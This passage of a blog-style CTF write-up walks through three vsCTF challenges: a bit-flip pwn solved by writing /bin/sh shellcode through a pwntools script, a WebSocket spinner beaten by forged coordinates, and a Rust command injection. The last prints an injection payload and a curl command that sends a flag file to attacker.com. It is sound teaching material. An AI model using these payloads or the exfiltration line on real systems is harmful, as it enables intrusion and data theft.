	p.sendlineafter(b"Enter the bit position to flip:\n", f"{bit}")

def infinite_loop():
# ret at the end of the cosmic_ray function
	flip_bit(hex(RET_ADDR), 3)

infinite_loop()

Now, let’s write a function that writes bytes to memory instead of bits. The idea is that we first get a memory leak of what’s currently in the address, then we check which positions we need to flip by comparing the bits of the desired byte to write, and the bits we get in the memory leak:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def mem_leak(addr):
"""
Return the byte stored in addr as its bits
"""
	print("-----SENDING ADDDR {}-----".format(addr))
	p.sendlineafter(b"Enter an address to send a cosmic ray through:\n", f"{addr}")
	#p.interactive()
	p.recvline() # empty line
	p.recvline() # |0|1|2|3|4|5|6|7|
	p.recvline() # -----------------
	ret = p.recv(18) # The actual bits
	p.sendlineafter(b"Enter the bit position to flip:\n", "0") # We'll immedaitly flip this back afterwards to not ruin anything
	flip_bit(addr, 0)

	return ret[0:].split(b"|")[1:9] # Split with the "|" character

def write_byte(addr, byte):
"""
Write the byte <val> to the address <addr>
"""
	leak = mem_leak(addr) # Get the current value of the byte as a list
	to_flip = [] # Which bits should we flip to get to the desired byte?
  
	for i in range(8):
		# Is the bit at position i of <byte> the same as currently
		# held in the address?
		if ord(leak[i]) - 0x30 == (byte >> (7 - i)) & 1:
			to_flip.append(b"0")
		else:
			to_flip.append(b"1")

	for i in range(8):
		if to_flip[i] == b"1":
			flip_bit(addr, i)

To get a shell, we overwrite the instructions in main after the call to cosmic_ray with a shellcode, and then flip the shl %cl, %ebx back to a RET to stop the infinite loop: after_call Now when we return from cosmic_ray the shellcode will get executed. I used this 22-byte shellcode, which is longer than the bytes we have in main, but this doesn’t really matter. To write the shellcode, we use the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SHELLCODE_START = 0x004015e5 # Address where we write the shellcode

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" # Taken from here https://www.exploit-db.com/exploits/41174

print("[+] Finished writing the shellcode of length {}".format(len(shellcode)))

infinite_loop()  
for i in range(len(shellcode)):
	print("Writing byte {}".format(i))
	write_byte(hex(SHELLCODE_START+i), shellcode[i])
	print("Wrote byte {}".format(i))

print("[+] Finished writing the shellcode of length {}".format(len(shellcode)))
stop_infinite_loop()
p.interactive()

This gives us a shell!

cosmic_ray_flag

BTW, the script shown here is slightly edited for the sake of clarity. If you’re curious about the original script I used in the CTF, here it is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

#p = process("./cosmicrayv3")
p = remote("[vsc.tf](http://vsc.tf)", 7000)
RET_ADDR = 0x00000000004015aa # ret at the end of cosmic_ray
SHELLCODE_START = 0x004015e5 # Address where we write the shellcode

def flip_bit(addr, bit):
	p.sendlineafter(b"Enter an address to send a cosmic ray through:\n", f"{addr}")
	p.sendlineafter(b"Enter the bit position to flip:\n", f"{bit}")

def infinite_loop():
	# ret at the end of the cosmic_ray function
	flip_bit(hex(RET_ADDR), 3)

def stop_infinite_loop():
	# flip it back to ret
	flip_bit(hex(RET_ADDR), 3)

def mem_leak(addr):
"""
Return the byte stored in addr as its bits
"""
	print("-----SENDING ADDDR {}-----".format(addr))
	p.sendlineafter(b"Enter an address to send a cosmic ray through:\n", f"{addr}")
	
	#p.interactive()
	p.recvline()
	p.recvline()
	p.recvline()
	ret = p.recv(18)
	p.sendlineafter(b"Enter the bit position to flip:\n", "0") # We'll immedaitly flip this back afterwards to not ruinn anything
	flip_bit(addr, 0)
	print("ret is {}".format(ret))
	
	return ret[0:].split(b"|")[1:9]

def write_byte(addr, byte):
	"""
	Write the byte <val> to the address <addr>
	"""
	leak = mem_leak(addr) # Get the current value of the byte as a list
	to_flip = [] # Which bits should we flip to get to the desired byte?
	
	print("leak is {}", leak)  
	
	for i in range(8):
		if ord(leak[i]) - 0x30 == (byte >> (7 - i)) & 1:
			to_flip.append(b"0")
		else:
			to_flip.append(b"1")
	
	for i in range(8):
		if to_flip[i] == b"1":
			flip_bit(addr, i)

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
print("[+] Finished writing the shellcode of length {}".format(len(shellcode)))
infinite_loop()
for i in range(len(shellcode)):
	print("Writing byte {}".format(i))
	write_byte(hex(SHELLCODE_START+i), shellcode[i])
	print("Wrote byte {}".format(i))

print("[+] Finished writing the shellcode of length {}".format(len(shellcode)))
stop_infinite_loop()
p.interactive()

Overall, a really cool challenge that shows how much you can do with just a single bit flip!

Spinner (Web)

In this challenge, we get a web page and the server-side code: spinner_page Like the name of the challenge suggests, if we complete a full spin of our mouse cursor around the red dot, the number gets incremented by 1. The goal is to get to 10000 spins. Let’s look at the page source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!DOCTYPE html>
<html lang="en">

<head>
    ...Removed for brevity...
</head>

<body>
    <div id="centerPoint"></div>
    <div id="spinCount">0</div>

    <script>
        const centerX = window.innerWidth / 2;
        const centerY = window.innerHeight / 2;
        const centerPoint = document.getElementById('centerPoint');
        const spinCountDiv = document.getElementById('spinCount');
        centerPoint.style.left = centerX - 5 + 'px';
        centerPoint.style.top = centerY - 5 + 'px';

        const socket = new WebSocket(`wss://${window.location.host}/ws`);

        socket.addEventListener('open', () => {
            console.log('connected');
        });

        socket.addEventListener('message', (event) => {
            const data = JSON.parse(event.data);
            if (data.spins !== undefined) {
                spinCountDiv.textContent = `${data.spins}`;
            }
            if (data.message) {
                alert(data.message);
            }
        });

        document.addEventListener('mousemove', (event) => {
            const { clientX, clientY } = event;
            const message = {
                x: clientX,
                y: clientY,
                centerX: centerX,
                centerY: centerY
            };
            socket.send(JSON.stringify(message));
        });
    </script>
</body>
</html>

Let’s go through the code:

  1. It finds the coordinates of the center of the page, and moves the redDot (id centerPoint) there
  2. It opens a WebSocket to wss://spinner.vsc.tf/ws. If you don’t know much about WebSockets, you can check out the post I made about them here. The post also shows how to implemented a WebSocket server from scratch!
  3. It then adds several event listeners:
    • When the socket is opened, the string connected is logged to the browser console.
    • When we get a message from the other end of the socket (the server), we parse the data of the message as JSON. The message can contain either the updated number of spins, on which case we change the amount shown in the client-side, or a message, in which case we alert the message
    • When the mouse is moved, we send a message to the server that contains the current X and Y of our mouse pointer, and the coordinates of the center point This is interesting, because the supposed mouse coordinates the server is sent are completely controlled by the user. To figure out how to exploit this, let’s check out the server-side code (only a relevant excerpt is shown):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
wss.on('connection', (ws) => {
const clientData = {
spins: 0,
cumulativeAngle: 0,
lastAngle: null,
touchedPoints: []
};

clients.set(ws, clientData);
	ws.on('message', (message) => {
	const data = JSON.parse(message);
	const client = clients.get(ws);
	
	if (client) {
		const { x, y, centerX, centerY } = data;
		
		if (client.touchedPoints.some(point => point.x === x && point.y === y)) {
			return;
		}
		
		client.touchedPoints.push({ x, y });
		const currentAngle = Math.atan2(y - centerY, x - centerX) * (180 / Math.PI);
		
		if (client.lastAngle !== null) {
			let delta = currentAngle - client.lastAngle;
			if (delta > 180) delta -= 360;
			if (delta < -180) delta += 360;
			client.cumulativeAngle += delta;
		
			while (Math.abs(client.cumulativeAngle) >= 360) {
				client.cumulativeAngle -= 360 * Math.sign(client.cumulativeAngle);
				client.spins += 1;
			}
			
			ws.send(JSON.stringify({ spins: client.spins }));
			
			if (client.spins >= 9999) {
				ws.send(JSON.stringify({ message: process.env.FLAG ?? "vsctf{test_flag}" }));
				client.spins = 0;
			}
		}
		
		client.lastAngle = currentAngle;
		}
	});
	
	ws.on('close', () => {
	clients.delete(ws);
	});
});

Let’s analyze the code:

  1. It initializes the following data for the client: culminativeAngle, spins, lastAngle, and touchedPoints
  2. Upon getting a message from the client, it parses the provided x, y, and the coordinates of the center points. This is the message sent by the mousemove event listener in the client-side JS we looked at earlier
  3. If the client has already touched the provided point, we don’t do anything
  4. Otherwise, we add it to the list of touched points, and compute Math.atan2(y - centerY, x - centerX) * (180 / Math.PI);. The atan2 function performs the following: atan2-difers Image taken from wikipedia Running it on the point (y - centerY, x - centerX) gives the angle between the center point and point the mouse is on
  5. Add the delta between the last angle and the current angle to the culminative angle
  6. If the angle is more than 360 (we completed a full spin), add 1 to the spins and send it to the client
  7. If the client completed more than 9999 spins, send the flag The idea of the exploit is simple:
  8. Find a sequence of points that makes the server think we completed a spin
  9. Repeat 10000 times
  10. Get the flag I used the sequence (centerX+i, centerY-i), (centerX-i, centerY-i), (centerX-i, centerY-(i-1)), (centerX-i, centerY+(i-1)), illustrated in the below figure: spinner_fff The exploit code is shown here: spinner_exploit This gives us the flag! spinner_flag

    vs-gateway (pwn)

    This was a pretty weird challenge for me, because I expected it to be far harder than it actually was. We are given a binary gateway and its Rust (yay!) source code. The main function looks like this:

1
2
3
4
5
6
7
8
9
10
fn main() {  
    println!("----------------------------");  
    println!("|        VS Gateway        |");  
    println!("----------------------------");  
  
    if auth(){  
        run();  
    }  
    process::exit(0);  
}

It seems to authenticate the user using auth and then call run. Let’s look at auth:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
fn check_password(password: String) -> bool{  
    let digest = md5::compute(password.trim());  
    // 123456  
    if format!("{:x}", digest) == "e10adc3949ba59abbe56e057f20f883e" {  
        true  
    }  
    else{  
        false  
    }  
}

fn auth() -> bool{  
    let mut username = String::new();  
    let mut password = String::new();  
  
    print!("Username: ");  
    io::stdout().flush().unwrap();  
    io::stdin().read_line(&mut username).expect("Cannot read username!");  
     
    print!("Password: ");  
    io::stdout().flush().unwrap();  
    io::stdin().read_line(&mut password).expect("Cannot read username!");  
  
    if username.trim() == "admin" && check_password(password){  
        println!("Access granted!");  
        true  
    }  
    else{  
        println!("Access forbidden!");  
        false  
    }  
}

It just compares the username with admin and the MD5 hash of the password with e10adc3949ba59abbe56e057f20f883e. A quick Google search yields that e10adc3949ba59abbe56e057f20f883e is the hash of the string 123456. Let’s test this: vs_gateway_1 We’re in! Here is the code of the run function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
fn run(){  
    let mut choice;  
    let mut input = String::new();  
  
    // Load the data from /tmp/<random ID>.conf  
    load_data();  
    //  
    show_properties();  
    loop {  
        menu();  
        input.clear();  
        io::stdin().read_line(&mut input).expect("Cannot read input!");  
        choice = match input.trim().parse() {  
            Ok(num) => num,  
            _ => 0  
        };  
        match choice {  
            1 => show_properties(),  
            2 => change_essid(),  
            3 => change_wifi_band(),  
            4 => change_channel(),  
            5 => change_wifi_password(),  
            6 => {  
                unsafe{  
                    fs::remove_file(format!("/tmp/{ID}.conf")).unwrap();  
                }  
                break  
            },  
            _ => {  
                println!("Invalid choice!");  
            },  
        }  
    }  
}

It starts by calling the load_data function, which generates a random ID and saves some properties under the file /tmp/<random ID>. The properties themselves aren’t very interesting. Afterwards, it displays the properties using show_properties, and starts a menu loop. The properties are saved as static mut variables (unsafe Rust), and are then accessed and changed by the menu functions. This was pretty misleading: all the unsafe stuff is just a red herring (as far as I know). The actual problem is located in the change_wifi_password function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fn change_wifi_password(){  
    let mut input: String = String::new();  
  
    unsafe{  
        println!("Current password: {WIFI_PASSWORD}");  
        print!("New password: ");  
        io::stdout().flush().unwrap();  
        input.clear();  
        io::stdin().read_line(&mut input).expect("Failed to readline");  
        WIFI_PASSWORD = input.trim().to_owned();  
        println!("Done!");  
    }  
    save_properties_to_file();  
}

It reads an input into the global variable WIFI_PASSWORD, and then calls save_properties_to_file:

1
2
3
4
5
6
7
8
9
10
fn save_properties_to_file(){  
    unsafe{  
        let cmd = format!("echo \"{ESSID}\\n{BAND}\\n{CHANNEL}\\n{WIFI_PASSWORD}\" > /tmp/{ID}.conf");  
        Command::new("/bin/sh")  
                        .arg("-c")  
                        .arg(cmd)  
                        .output()  
                        .expect("Failed to execute command");  
    }  
}

This functions runs a shell command using an attacker controlled input (the global variables are controlled by an attacker; specifically WIFI_PASSWORD can be any string we want). Cleaning this up a bit, the actual command that is run is

1
echo "{ESSID}\\n{BAND}\\n{CHANNEL}\\n{WIFI_PASSWORD}" > /tmp/{ID}.conf

Our input isn’t validated, so we can inject the following payload:

1
;" ls ".

This will result in the following command being executed:

1
echo "{ESSID}\\n{BAND}\\n{CHANNEL}\\n;" ls"." > /tmp/{ID}.conf

To exfiltrate the flag, we use:

1
;" curl "https://attacker.com/$(cat /home/user/flag.txt | tr -d '\n')

This sends an HTTP request to attacker.com, with a path of the contents of /home/user/flag.txt. We remove newlines just in case. This gives us the flag! webhook We get a request to the following path:

1
https://webhook.site/8cded561-e040-4923-a283-85cca08e0773/vsctf1s_1t_tru3_wh3n_rust_h4s_c0mm4nd_1nj3ct10n!??

Summary

The challenges in the CTF were very creative and cool! I learned new things, and had a lot of fun. Thanks for reading! Yoray❤️

This post is licensed under CC BY 4.0 by the author.